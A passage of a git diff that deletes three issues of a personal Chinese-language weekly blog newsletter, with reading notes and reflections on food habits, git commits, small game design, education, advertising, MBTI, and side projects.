Unsplash](https://unsplash.com/photos/a-woman-sitting-in-a-field-of-yellow-flowers-O_ycJPnnUfc) diff --git a/content/posts/weekly/22.md b/content/posts/weekly/22.md deleted file mode 100644 index ba64f942..00000000 --- a/content/posts/weekly/22.md +++ /dev/null @@ -1,158 +0,0 @@ -+++ -title = "稻草人周刊 Vol.22" -subtitle = "Brighter days ahead" -description = "红与黑、自然的食欲、社会认可与个人目标、从 Git Commit 看高效沟通、如何制作小而美的游戏、🍎 Mac Mini" -tags = [ - "健康", - "习惯", - "社会学", - "软件", - "沟通表达", - "游戏", -] -date = 2025-03-31 13:58:35 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/jez-timms-HauxSOFvh6k-unsplash.jpg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-22/", - "/posts/weekly/22", -] -+++ -## 🙋 在做什么 - -Mac Mini 到手的第一件事居然是…… - -{{< gallery >}} - - - - -{{</ gallery >}} - -在听 Ariana Grande 的新专辑,《eternal sunshine》的豪华版,加曲《dandelion》很对胃口,这几天一直在循环。 - -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/dandelion/1800579610?i=1800580284"></iframe> - -## 📖 本周阅读 - -{{< bookcard "红与黑" >}} - ---- - -## 💬 本期杂谈 - -### 食欲:从消费者到劳动者 - - - -> [!note] 🔗 -> 播客链接:[Apple Podcast](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000701381415) / [小宇宙](https://www.xiaoyuzhoufm.com/episode/67e83d2c6ea60022359ddd33?utm_source=rss) - -下课回来的路上听了一期有意思的播客,其中「重新审视自己与食物的关系」这一观点让我很受启发。当自己需要花很多时间和精力才能吃到令自己垂涎欲滴的食物时,不需要刻意的饮食计划就能形成自然的食欲,因为自己离食物的因果链更近了一步,食物不再是自己动动手指就能让人送到门口的高热量精加工食品,而是自己真是的劳动成果。自己仍然可以贪吃,但贪吃的前提是克服懒惰。 - -我很喜欢这种自然随性的感觉。尽管我在宿舍连烧摩卡壶的炉子都不敢用[^1],更别提自己做饭了,但我发觉自己在大部分时候食欲是相对健康的。至少,在一个暑假高强度减肥瘦了 40 斤之后,在毫无饮食计划,跑步也总是断断续续的情况下,我又瘦了 20 多斤,体重稳定地保持在 140~150 斤。[^2] - -发觉自己食欲没那么自然,大概是意识到自己有一种不饿也不馋,但下课、下班之后就往超市、小卖部和烧烤店跑的习惯。==这大概是因为在城市生活的现代人难以分清食欲与习惯吧==。 - -[#健康](/tags/健康/) [#习惯](/tags/习惯/) - -### 分清「社会认可」与「个人目标」 - -> [!note] 📜 -> 文章链接:[Don't Compete](https://invertedpassion.com/dont-compete/) - -- 因为世界被「赢家获得一切」的零和思想统治,对大多数人来说,获得新闻和社交媒体里看到的那种成功,概率近乎为零。 -- 仔细思考的话,社会结构其实很像彩票。成千上万的人花了大量的时间和他们的血汗钱,投入到这场赌博当中,像是交税一样为其他竞争者铺平道路,仅仅追求那微小的成功概率。 -- 不要把社会认可与对你自己有利的东西搞混了。 - -作者的思想乍一看和「社会原子论」很像,认为个体在投入社会进步这场声势浩大的、赌博式的大赛中,也要停下来思考自己的愿望和利益,而不是被社会大流推着走,在潮流中获得的社会认可比起自己的幸福,其实无足轻重。 - -> 社会原子论(Atomism)描述了一种社会发展倾向,具有「社会原子化」倾向的社会由一群优先考虑个体利益,并且极大程度上能够自给自足的个体组成,这些人就像相互分离的原子一样运作。 -> -> 社会原子论认为,个人拥有部分高于社会的权利,人们在大部分情况下优先考虑自己,能保证个体的生存和整个社会的共存。 -> -> <span style="font-size: 80%">Source: [Atomism (social) - Wikipedia](https://en.wikipedia.org/wiki/Atomism_(social))</span> - -做自己感到满意的事情,而不是大多数人认为最有用的,其实能保证自己的幸福,在大局上也能推动社会进步。 - -[#社会学](/tags/社会学/) - -### 从 Git Commit 看高效沟通的方法 - -> [!note] 📜 -> 文章链接:[No Longer My Favorite Git Commit](https://mtlynch.io/no-longer-my-favorite-git-commit/)、[Every line of code is always documented](https://mislav.net/2014/02/hidden-documentation/) - -Git 是一个版本管理软件,常用于软件开发。Commit 是 Git 的一个功能,当程序员完成一次修改之后,就可以 `git commit` 提交者次修改,修改时需要附上信息,用文字描述这次更改。 - -为了更好的协作开发,commit 要怎么写有很多说法。我自己用的是 [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) 的格式,像这样: - -``` -<type>[optional scope]: <description> -``` - -不过我也愈发觉得一句话完全不足以描述一次 commit 做出的改动,而且,如 Mislav Marohnić 在《[Every line of code is always documented](https://mislav.net/2014/02/hidden-documentation/)》这篇文章中指出的:每行代码都因为提交时编写的信息而有迹可循。好的 commit 信息应该要让后来者明白自己为什么要这么改。 - -而 Michael Lynch 在《[No Longer My Favorite Git Commit](https://mtlynch.io/no-longer-my-favorite-git-commit/)》中指出事无巨细地描述修改过程并不是好的软件工程,并展示了一个「倒金字塔」模型。 - -<img src="https://r2.eltr.ac/uPic/inverted-pyramid.png" class="dark:invert"> - -倒金字塔顶端是「所有人都在乎的东西」,其次是「一些人会在乎的东西」,最次是「很少人在乎的东西」。倒金字塔既表示了顺序,也表示了占比。也就是说,所有人都在乎的东西应该放在最前面,且应该是最多的;很少有人在乎的东西应该放在最后,而且应该尽可能言简意赅。 - -不能事无巨细,也不能总是简单掠过,搞清楚主次会让沟通更有效率。 - -[#软件](/tags/软件/) [#沟通表达](/tags/沟通表达/) - -### 如何制作小而美的游戏 - -> [!note] 📜 -> 文章链接:[How To Make Good Small Games](https://farawaytimes.blogspot.com/2023/02/how-to-make-good-small-games.html) - -- 如果刚开始做游戏就想一口吃成个大胖子,只有两种结果:要么放弃,要么在一个游戏引擎上耗了五年,指望跟掷骰子连着掷出13次六点一样低的概率、奇迹般地做出了自己梦中情游——这几乎不会发生。 -- 从你的宏大计划中取出一小块,做成一个小游戏,以一种意想不到的方式实现你的梦想。 -- 不要把做小游戏想成是你实现梦想之前所做的作业,不要说「做得好不好我都不在意」这样的话,因为这些小游戏也应该是值得你骄傲的作品。 - -关于「如何制作小而美的游戏」,作者给出了十二条建议。文章很长,可以选择感兴趣的条目阅读,不过要注意有的建议和前后文是相关的。 - -1. 游戏的质量独立于其规模。 -2. 游戏的质量独立于其情感程度。 - - 并不是让人感动得流眼泪、产生巨大的情感波动的游戏体验才算得上好。 - - 学会欣赏微妙的艺术(subtle art),既能让自己成为更好的游戏开发者,也能让自己成为涉猎更广泛的玩家。 -3. 游戏的成功是自己定义的。 -4. 游戏的成功取决于是否实现了自己的承诺。 -5. 承诺越小,游戏越容易成功。 -6. 用一种有趣且令人愉悦的方式实现你的承诺。 -7. 不要超出你承诺的内容。 -8. 形式因素也是游戏承诺的一部分。 - - 你的游戏能在浏览器上运行吗?加载要花多久?手机上能不能玩?有很多文字吗?还是什么都没有? - - 这些形式而非内容上的因素,也会极大程度上影响你的玩家。 -9. 发布游戏之前请完成它。 - - 在游戏最后写上「未完待续」是未能完成自己承诺的表现,在标注 Demo 或者序集这样的字样来为自己设防之前,想想你为什么一定要现在发布它? - - 找你的朋友玩一玩来获得反馈,会比把未完成的内容扔给陌生人玩要好得多。 - - 在一开始就做出更小的承诺。 -10. 游戏系列并非捷径。 - - 好的游戏系列也应该是由多个独立的、完整的故事组成的。 -11. 不要考虑游戏能不能火。 -12. “不错”就很不错了(Good is good enough)。 -13. 玩的开心 :) - -作者还推荐了两个小巧的游戏引擎,[Bitsy](https://bitsy.org) 和 [Twine](https://twinery.org),前者的限制不小,但两个都很适合用来交互式叙事。如果不需要自己编写高度定制化的游戏机制,不失为好的选择。 - -[#游戏](/tags/游戏/) - ---- - -## 🗣️ 碎碎念 - -- 在书店站着读完了《我胆小如鼠》,是第一篇让我产生很强共鸣的余华的作品。一群男人聚集在一起欺负老实人,倒有点像上野千鹤子在《厌女》里讲的「男性同性社会同盟」,暗含着一种对「被当作女人」的恐惧,尤其是吕前进弯着腰以为自己要被强奸了,大喊「我是男人!我是男人!」的那一段,把男人对女性气质的厌恶和“沦为”女性的恐惧表现得淋漓尽致。这兴许与「主体性丧失」也有关系。 -- 之前用 M1 的 MacBook Air 玩饥荒联机版,有很明显的卡顿,本以为是性能问题,结果才发现是饥荒洞穴服务器导致的延迟,在 Mac Mini 上也有,关掉洞穴服务器就不会有这个问题…… 之前在 Windows 平台上没有遇到过这么明显的延迟,不知道是不是处理器架构或者其他操作系统设计的差异导致的。总之,用其他方法优化之后还是能正常开启洞穴游玩的。[^3] -- 终于可以把我的暗影精灵塞箱底了,换上 Mac Mini 之后,桌面的走线马上干净了,不需要找地方塞那块砖头一样大的电源适配器。 - ---- - -封面图来源:[Jez Timms @ unsplash](https://unsplash.com/photos/a-spotlight-coming-from-a-hole-in-a-dark-underground-cave-in-minorca-HauxSOFvh6k) - -[^1]: 除了因为宿舍禁止使用大功率电器,还因为我怕摩卡壶会把咖啡喷出来,把我桌面上的插排、电脑和本子搞得乱七八糟…… 地方小只能忍忍了。 -[^2]: 不过,让我苦恼的一点是,尽管体重健康,但自己腰上仍然有很多赘肉,这大概也与相对不那么自然的饮食习惯和运动习惯有关。 -[^3]: ~~这么说,我岂不是没必要为了玩游戏买 Mac Mini?~~ 罢了罢了,反正都蹭上优惠了。 diff --git a/content/posts/weekly/23.md b/content/posts/weekly/23.md deleted file mode 100644 index b428fd0d..00000000 --- a/content/posts/weekly/23.md +++ /dev/null @@ -1,179 +0,0 @@ -+++ -title = "稻草人周刊 Vol.23" -subtitle = "Good Morning" -tags = [ - "编程", - "教育", - "AI", - "广告", - "心理学", -] -date = 2025-04-07 11:49:04 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/casey-horner-_wGbMD-Lf0w-unsplash-2-2.jpg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-23/", - "/posts/weekly/23", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/good-morning/1770129269?i=1770129274"></iframe> - -当我在晚上九点十分离开教室,清楚地知道自己不需要急急忙忙地去到另一个地方、去见什么人、去办什么事,听着欢快的爵士乐,几乎要跳起来的时候,我才真心想喊出一句:Good Morning! - -对我来说,似乎夜晚才是一天的开始。 - -{{< quotecard >}} -学校就是这样一种地方:我们在学校里学到的最重要的东西,就是“最重要的东西在学校里学不到”这个真理。 -{{</ quotecard >}} - -## 🙋 在做什么 - -清明假期还得上一天班,下班的第二天就去四川美术学院的美术馆逛了逛,是一位朋友提议的。美术馆离我的学校很近,我之前居然一直没来过。 - -拍了一些我很喜欢的作品: - -{{< gallery class="full-width" >}} - - -{{</ gallery >}} - -{{< gallery class="full-width" >}} - - -{{</ gallery >}} - -{{< gallery >}} - - - -{{</ gallery >}} - - - -美术馆的角落还有这样的作品,我大概能体会到作者想要表达死亡、生命之类的话题,机械和植物要素的结合也创造了一些荒诞的感觉(视频里可能听不出来,机器运作的声音还是很有感觉的)。但观感上,怪异和不明所以,要比震撼多一些——线缆没有藏好,布局也让人抓不住重点。特立独行是好的,但总觉得还是不太成熟。 - -<div> - <video controls src="https://r2.eltr.ac/uPic/IMG_3259.MOV" style="width: 100%" /> -</div> - -当然,也有可能是我完全不懂艺术啦! - -## 📖 本周阅读 - -{{< bookcard "虚掷的夏日" >}} - -## 💬 本期杂谈 - -### 可以量化的或许才是最廉价的 - -> [!note] 📜 -> 文章链接:[The Worst Programmer I Know](https://dannorth.net/the-worst-programmer/) - -作者写道,他见过的最“烂”的程序员 Tim,拥有最低的「绩效」指标,管理层当然想要把他开除,但作者不同意,毫不犹豫地拒绝了。他认为 Tim 对团队作出了巨大的贡献,他几乎总是和其他人一起坐在他们的工位上,以一个资深员工和经验丰富的程序员的身份,帮助团队内的其他成员完成工作。所以,Tim 自己的绩效一直是 0,但他创造了不可估量的价值。 - -作者认可「量化」对管理而言的必要性,但也必须意识到其局限性: - -1. 如果量化的对象不当,人们就容易投机取巧,比如,如果用程序员修好的 bug 数量决定奖金数额,那么有人就能在一下午给自己写一辆车出来。 -2. 量化如果只衡量个体的运作状况,就会忽略整体的表现,或者个体对整体的影响——评估引擎而不是零件 - -顺带一提,文章中反复出现了 story 这个词,这里显然不是「故事」的意思。我之前也在职场和管理相关的内容中看到过这样的用法,但一直不太明白,查阅后发现,story 是一种从用户角度看待产品功能的方式,通常的形式是 `作为[某种类型]的用户,我需要[某种功能],这能为我带来[某种益处]`。这里的 story 有点像 feature(特性、功能),但强调的视角不同。 - -[#编程](/tags/编程/) [#管理](/tags/管理/) - -### 当今的大学生 - -> [!note] 📜 -> 文章链接:[The average college student today](https://hilariusbookbinder.substack.com/p/the-average-college-student-today) - -作者分享了他作为大学哲学教授,观察到的当今大学生和以前的变化。尽管这一视角可能会让人感到厌烦——「又有个老头来抱怨年轻一代!」——但我作为大学生,可以作证他的担忧。他观察到的现象不仅是真实存在的,而且是在不同专业、不同学校和不同国家都普遍存在的。 - -他发现他的学生几乎都不买课堂要用的书,即便是他挑选的相对便宜且易懂的教科书。他们也几乎不读书,而且,好像已经不理解「读书」是什么了——他们翻开书看了看字,什么也没看懂,以为那就算作是读了,然后就继续刷抖音——他们来到他的办公室,声称自己读了书,可他们在撒谎,他看得出来他们根本没读。 - -> The most charitable interpretation is that they looked at some of the words, didn't understand anything, pretended that counted as reading, and returned to looking at TikTok. - -除此之外,他还有以下观察: - -- 他教的大学生的写作技巧几乎是初中生的水平——拼写是灾难,语法几乎没有,连撇号用对了都值得庆祝。 -- 他们会在课堂上直接走出去,不是为了打电话也不是为了上厕所,只是因为坐不住而想要出去刷刷手机。 -- 他不喜欢学生在课堂上用电脑,有一次他发现学生在课上用电脑根本不是为了做笔记,而是在赌博;但他没办法,因为如果他禁止学生使用笔记本电脑,学生们就会到相关部门去告状。 -- ==他们几乎是条件反射式地接受那些最廉价的陈词滥调,把他们当做什么新奇的见解==。 -- 教授们不得不把考试标准放得越来越低,避免把班上的所有学生都挂掉,因为他们不想丢饭碗。 - -作者说这不是一个教育系统问题,而是一个更大的社会问题(尽管我认为,教授因为担心丢饭碗而放低标准,就是教学和行政导致的问题)。这样的问题在国内也不少见,至少就我观察到的,我们的老师已经因为我们计算机学院的学生学不懂大学物理,在考虑把这门课的期末考试变成开卷考了。 - -我个人对这一「变化」的原因有些猜测:1. 上大学的人变多了,整体素质下降;2. 学生对自己学的东西并不感兴趣,也不再有「改变命运」的紧迫感;3. 短视频和社交媒体让所有人都变得迟钝。 - -我想,对个人来说,能做的就是认识到这些变化,然后做好自己该做的事情。 - -[#教育](/tags/教育/) - -### 广告非法的世界 - -> [!note] 📜 -> 文章链接:[WHAT IF WE MADE ADVERTISING ILLEGAL?](https://simone.org/advertising/) - -作者声称,人类在过去 99% 的时间里都不必依赖广告推广产品,现在当然也能找到比广告更好的替代方案。作者是从事广告业的,他认为广告操纵人(manipulate)而不是起到告知(inform)的作用。如果用言论自由来维护广告的权利,那是放屁,因为当今的广告已经到了可以被定性为「骚扰」的程度。 - -作者想象在未来的几十年后,人们会像讨论雇佣童工、公共场所吸烟和公众处决一样讨论广告,现在合理的东西在未来将会变得人人喊打。 - -消费者和商家之间因为广告,不知道悄无声息地打了多少仗——AdBlock 几乎成了装机必备,然而又有越来越多的网站厚着脸皮弹窗请求你关掉广告拦截…… 在[第 13 期周刊](/posts/weekly/稻草人周刊-vol-13)里,我写道有人担忧 AI 会导致内容类网站的访问量减少,而这些依靠广告盈利的网站没有足够的浏览量之后就会倒闭。不过,我不认为 AI 会加速广告的消失,商家反而有可能以另一种形式,把广告植入到 AI 的回答中。 - -无奈的是,很多网站、软件和游戏都依靠广告盈利,禁止广告可能会让他们丢了饭碗。不过,换个角度想想,禁止广告也激励了那些订阅制、买断制的高质量内容和软件——==如果你要继续靠产品吃饭,就必须做出用户愿意直接付钱给你的产品,而不是用免费或低价吸引用户来看广告==。 - -[#AI](/tags/AI/) [#广告](/tags/广告/) - -## 💡 新知复盘 - -> ### 容格心理类型 -> -> 《心理类型》是德国心理学家荣格在 1921 年发表的著作,介绍了四种心理功能和两种心理态度,功能和态度又可以组合成八种心理类型,现在也俗称「荣格八维」。 -> -> **四种心理功能**又可分为感知功能和判断功能,两类功能各有两种功能。 -> -> 1. 感知功能(Perception) -> - 感觉(**S**ensing) -> 倾向于使用感官认识世界,关注客观事实和能够被观察到的东西。 -> - 直觉(i**N**tuition) -> 倾向于关注可能性,善于用无意识快速、跳跃式地处理信息,不太关注表象。 -> 2. 判断功能(Judgment) -> - 思维(**T**hinking) -> 关注逻辑判断,在乎对错。 -> - 情感(**F**eeling) -> 关注价值取向,在乎重要性。必须要注意的是,情感作为判断功能也是理性的,荣格认为感知功能才是非理性的。 -> -> **两种心理态度**即内倾(Introverted)和外倾(Extraverted)。内倾表示个体在使用感知功能或判断功能时,更关注内部世界的抽象概念和想法,外倾则更关注外部世界的具体事物和现实情况。 -> -> 组合而成的八种心理功能,在互联网上常常被人们用一种字母组合的格式表达:Ne 代表「外倾直觉型」,Ni 代表「内倾直觉型」,Se 代表「外倾感觉型」,Si 代表「内倾感觉型」,Te 代表「外倾思考型」,Ti 代表「内倾思考型」,Fe 代表「外倾情感型」,Fi 代表「内倾情感型」。 -> -> <span style="font-size:80%">Sources: [心理类型 - Wikipedia](https://zh.wikipedia.org/wiki/心理类型)、《天生不同》[美]伊莎贝尔·迈尔斯</span> - -> ### 主导功能和辅助功能 -> -> MBTI 理论对[荣格的心理类型](/cards/荣格-心理类型)做出了拓展,指出荣格仅仅使用一种心理功能和一种心理态度确定心理类型的局限性。为了让荣格的理论对普通人也发挥实用价值,MBTI 理论区分个体的主导心理功能和辅助心理功能。 -> -> 主导心理功能是个体**最偏好**使用的心理功能,往往也是发展最全面的心理功能,也就是说,行为决策时,个体更倾向于也往往更擅长使用主导功能。 -> -> 辅助功能是个体**第二偏好**使用的心理功能。通常情况下,如果主导功能是外倾的,辅助功能就是内倾的,反之亦然。MBTI 理论认为,辅助功能维持了个体外倾和内倾的平衡,当个体专注于内部世界时,就可以用辅助功能应付外部世界的任务。 -> -> 例如,ESFJ 的主导心理功能是 Fe(外倾情感),意味着 ESFJ 偏好用自身的价值取向对外界做出判断;ESFJ 的辅助心理功能是 Si(内倾感觉),意味着 ESFJ 在使用情感功能处理外部世界时,感觉功能可以用来打理内部世界,用感官关注自己的状态。 -> -> <span style="font-size:80%">Sources:《天生不同》[美]伊莎贝尔·迈尔斯</span> -> MBTI 对[荣格的心理类型](/cards/荣格-心理类型)做出了拓展,添加了「感知与判断」的偏好,即**个体更偏好使用感知功能还是判断功能**。感知功能(Perception)和判断功能(Judgment)是荣格心理类型的两大心理功能。 - -> ### 感知与判断偏好 -> -> 感知与判断偏好在 MBTI 中用四个字母中的最后一个字母表示,用 P(感知功能)和 J(判断功能)区分。需要注意的是,P 和 J 只表示个体在**关注外部世界时**更偏好使用的心理功能。 -> -> P-J 维度可以用于确定个体的[主导功能与辅助功能](/cards/主导功能与辅助功能/)。对于 ENFP 来说,P 表示个体在关注外部世界时偏好使用「感知功能」,而 ENFP 偏好的感知功能是 N(直觉),那么 ENFP 的主导功能就是外倾直觉(Ne),辅助功能则是判断功能 Fi(内倾情感)。 -> -> 对于内倾型个体来说,P-J 维度只是间接地反映了其主导功能,因为 P-J 只表示个体对外部世界偏好使用的心理功能。例如,ISTJ 偏好使用的是判断功能,也就是思维(T),那么 ISTJ 的辅助功能就是 Te,主导功能则是 Si。对于内倾型个体来说,主导功能一定是内倾的,因为他们总是更关注内部世界。 -> -> <span style="font-size:80%">Sources:《天生不同》[美]伊莎贝尔·迈尔斯</span> - -## 🗣️ 碎碎念 - -- 其实对 Minecraft 大电影没什么期待,所以看的时候也是抱着「品鉴💩」的心态。期待不高,看完自然没有很失落,反而有些惊喜——女校长和傻子村民谈恋爱最后还结婚的剧情绝对是这部电影在故事上最大的亮点(?)。至于其他的…… 人物塑造不饱满,现实世界情节太拖沓,公式做题的剧情能被猜个八九不离十,最后合家欢大团圆每个人都有了美好的结局…… 不过美术还不错,蜘蛛骑士和末影人很令人惊喜,落地水和岩浆烤鸡的操作很懂玩家,对 Technoblade 的致敬也值得一提。 -- 我总是告诉自己要去改变自己能改变的,改变不了的就接受,不要抱怨。**但是他妈的我真的受不了我的桌子离厕所只有两步远,狗日的室友上厕所还不关阳台门,我在吃饭喝水的时候他妈的能清清楚楚地听到室友拉的屎掉进坑里的声音;蠢逼室友上完厕所还他妈不关厕所门,一到阳台他妈的闻得到他刚才拉的屎味,每次都要捏着鼻子往里面喷空气清新剂**。 -- 和别人一起去逛美术馆这种地方,还算是比较神奇的体验,能体会到不同人之间思维方式和感知方式的差异。 diff --git a/content/posts/weekly/24.md b/content/posts/weekly/24.md deleted file mode 100644 index 371f2090..00000000 --- a/content/posts/weekly/24.md +++ /dev/null @@ -1,228 +0,0 @@ -+++ -title = "稻草人周刊 Vol.24" -subtitle = "写给独立游戏开发者的爽文" -endnotes = [ - "封面图来源:[Ritam Baishya @ Unsplash](https://unsplash.com/illustrations/a-drawing-of-a-person-holding-an-umbrella-in-the-rain-cqcOmID--7Y)", -] -tags = [ - "编程", - "写作", - "游戏", - "认知", -] -related_cards = [ - "原语", - "世界语言的分类", - "投射", - "课题分离", -] -date = 2025-04-14 13:32:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/uPic/ritam-baishya-cqcOmID--7Y-unsplash-2.jpg" -draft = false -toc = true -aliases = [ - "/posts/weekly/稻草人周刊-vol-24/", - "/posts/weekly/24", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/pink-pony-club/1698723205?i=1698723327"></iframe> - -## 🙋 在做什么 - -一时兴起又整理了书桌,丢掉了一些不必要的收纳架,做了些断舍离,现在看起来要舒服不少。还购入了新的盆栽,栀子花和葡萄风信子,但因为还没开花就不发出来了。希望它们能活到开花的那一天吧。 - -{{< gallery >}} - - -{{</ gallery >}} - -## 📖 本周阅读 - -{{< bookcard "天生不同" >}} - -## 💬 本期杂谈 - -### 写给独立游戏开发者的爽文 - -> [!note] 📜 -> 文章链接:[The Balatro Timeline](https://localthunk.com/blog/balatro-timeline-3aarh) - -我大概是在一个月前就发现了《小丑牌》作者的博客 LocalThunk,这篇文章在我的阅读列表里躺了大半个月,读这篇文章的时候我恨我没有早点点开读它,读完的时候我大概经历了三次颅内高潮,因为读起来实在是太爽了。 - -作者花了一年多的时间制作并发布了《小丑牌》(Balatro),当他写道「这个本来只是做给我和我几个朋友的游戏,居然不知怎么地有这么多陌生人想要买它」的时候,我意识到游戏或许就应该是这样的——==先娱乐自己,再娱乐身边的人,最后让更多的人感到开心==。 - -作者也提到,做这种项目非常重要的一点在于,当自己感受不到驱动力的时候就停下来,这可以帮你: - -1. 不精疲力尽地开始下一个想法; -2. 不自责地休息一段时间,然后更强势地回归。 - -作者还提到,他在刚开始的时候禁止自己玩新的肉鸽游戏,因为他不想无意识地抄袭别人的好点子。他想要犯错,想要重新造轮子,不想借鉴现存游戏中已经被验证过的设计。我想这是值得学习的。 - -不过,《小丑牌》其实是作者在下班后完成的一个爱好项目,一开始并没有当作正经的工作,他甚至在之前从未想过可以靠游戏赚钱。这让我想到了 Toby Fox,他似乎在一开始也不清楚自己到底在干什么。这样的成功兴许是不容易复现的[^1],但足以说明爱好也能创造不可估量的财富。 - -[#游戏](/tags/游戏) - -### 博客写作的态度 - -> [!note] 📜 -> 文章链接:[LocalThoughts](https://localthunk.com/blog/localthoughts) - -这是《小丑牌》作者的第一篇博客文章,他在这篇文章里写的一句话让我感触良多: - -> I wanted to share more of the what happened and how instead of here's how you should do it and why. -> -> 我想要分享的更多是「发生了什么以及怎么回事」,而不是「你应该怎么办以及为什么」。 - -这段话让我开始反思我之前的博客文章是否带有过强的说教意味,我也在过去的写作中意识到,尽管我非常喜欢拆解底层逻辑和剖析深层次的原因,但过多的对「为什么」的论述似乎不总是能够吸引读者,至少读者很少对这样的内容作出回应。 - -兴许我应该在谈论「为什么」之前,多谈一谈「发生了什么」。在切入正题之前讲故事,或者用故事来辅助自己阐述观点,也确实是惯用的做法。 - -此外,兴许应该戒一戒说教瘾,也要认识到自己经验的局限性和读者自身经验的复杂性。自身的逻辑再完备,也不适用于所有情况——*完了我意识到自己现在就在说教。* - -好吧,那就等我尝试多写一些「怎么样」和「发生了什么」之后,再来对比一下它们和「为什么」和「你应该」的区别吧。 - -[#写作](/tags/写作/) - -### 论业余项目 - -> [!note] 📜 -> 文章链接:[The blissful zen of a good side project](https://joshcollinsworth.com/blog/the-blissful-zen-of-a-good-side-project) - -作者讲到自己在之前大概有一年多没有在闲暇时间开启一个新的业余项目了,在某天晚上,他打开自己的笔记本电脑新建了一个文件夹,找回了原先的感觉。 - -- 选择做什么并不重要,重要的是我选了某些东西来做。 -- 我知道我没有在创造时,我的一部分枯萎了,而且我认为,我们内心都有那样的冲动。 -- ==我认为我们存在的意义就是创造新东西==。 - -令我感触最深的,是作者对于业余项目的态度:It's done when you're done with it. 一个项目不一定要真的完成了才算是「完成了」,当你不想继续了,心想「就这样吧」,这个项目的意义就到此为止了。一个好的业余项目不一定要有任何结果。 - -我想到了现在躺在我硬盘里腐烂发臭的两个游戏项目,一个算是我的第一个电子游戏项目 Warstro,另一个是最近一个月做的 Philora。这两个项目都在做到一半时让我感到焦虑,不想继续,但不继续似乎又是在否定自己的选择,令我很是煎熬。但转念一想,我从这两个半途而废的项目中都学到了不少: - -- **Warstro** - - 教训:别用 React 写游戏(认真)。 - - 我所使用的 boardgame.io 引擎教会了我用一个全局变量数组储存所有游戏状态,这样便于管理。在 [Heart Hunter](/posts/为战斗献上心脏/) 中我就沿用了这一方法,所以在玩家死亡后重置游戏状态的操作,我几乎没有遇到任何问题,而且访问常用的游戏对象也变得很丝滑。 -- **Philora** - - AI 取代程序员还很遥远,就连目前最好的编程模型也会生成一大堆冗余代码。 - - 游戏或许是我目前为止接触到的最复杂的软件设计,相比之前,之前做的 Java Web 项目真的非常清晰易懂。 - - 不要让 AI 从一个空的项目文件开始写,那真的会让人摸不着一点头脑。 - - 我开始找一些游戏编程相关的书和文章来看。 - -就像许久未见面的朋友,友谊或许已经难以延续,但对方给自己带来的影响是深远且无法计量的。意识到这一点之后,放下一定要完成的执念就变得更容易了。 - -[#编程](/tags/编程/) - -### 重造轮子的原则 - -> [!note] 📜 -> 文章链接:[Wheel Reinventor's Principles // Tobias Løfgren](https://tobloef.com/blog/wheel-reinventors-principles/) - -程序员社群里的主流观点是:你不应该重新造轮子。直接使用别人已经写好的软件库能够节省时间,达成的效果往往也更好,有社区维护且被广泛使用的库往往也更安全。然而,作者指出,重新造轮子也有很好的理由: - -1. 学习。从零开始编写一个库,能让程序员对底层的技术有更深刻的理解。 -2. 特定的用途。不是所有的轮子都适用于每一种情况,有时候你确实需要为自己的需求重新造一个更适合的轮子。 -3. 创新。现有的轮子,尽管很流行,但并不一定好。如果你有好点子,就做一个更好的。 -4. 享受。重新造轮子可以是一件快乐的事情,不需要理由。 - -重造轮子的人必须谨记自己为什么要造这个轮子,不能忘记。同时,他们也应该遵许以下原则: - -1. 最小化第三方库依赖。 -2. 使用最简单的工具和最底层的技术。 -3. 自己动手。 - -我知道有不少游戏开发者会自己写游戏引擎,或是在已有的、较简单的游戏引擎上实现自己的一套工具库用于后续的游戏开发。尽管我还不是一个成熟的游戏开发者,但我的确有在我的不少游戏项目中复用之前写的渲染管理器和状态管理器。我之前还听过一句戏谑的话:每个写博客的人最终都会造自己的博客程序(我自己确实也这样干过)。 - -我自己新造轮子的感受确实是快乐的,对相关领域的理解也会加深,如果你不是为企业工作,自己做项目时享受新造轮子的过程又未尝不可,不要被主流观点限制住了。 - -[#编程](/tags/编程/) - -### 我们低估了自我效能的重要性 - -> [!note] 📜 -> 文章链接:[我们高估了智力的重要性 \| Randy's Blog](https://lutaonan.com/blog/oi/) - -我不太喜欢作者起的这个标题,读完这篇文章之后,我认为作者想说的并非是「我们高估了智力的重要性」,而是「我们低估了自我效能的重要性」。 - -我并不认可作者所说的「因为 AI,智力的差距变得更容易弥补了」,但我认可「人们应该主动利用智能」这一说法。或许,我们的关注点从来就不应该是「AI 到底有没有智能」「AI 会不会取代人类」,而是「我们应该如何利用 AI 所提供的智能」,而「如何利用」这一点,就与作者所说的「自我效能」有关。 - -作者认为自我效能可以通过后天训练(关注不能改变的智力,不如关注自己能够改变的),并引用了心理学家 Albert Bandura 提出的影响自我效能的四种因素: - -1. **掌握经验** - 通过亲身体验成功完成任务的经验来建立自信。 -2. **替代经验** - 观察与自己相似的人完成任务的经验,提升自己的信念。 -3. **社会说服** - 他人的鼓励和积极评价能够增强自我效能。作者认为这个条件是较为被动的,但我认为人在一定程度上可以选择自己所处的环境。 -4. 解读**身体信号**的方式会影响自我效能。将紧张解读为「我不行」和解读为「兴奋」将会造成两种相反的结果。 - -你看,作者其实有大半的篇幅都在谈「自我效能」这一个概念,甚至根本不用提到 AI。 - -[#认知](/tags/认知/) - -## 💡 新知复盘 - -> 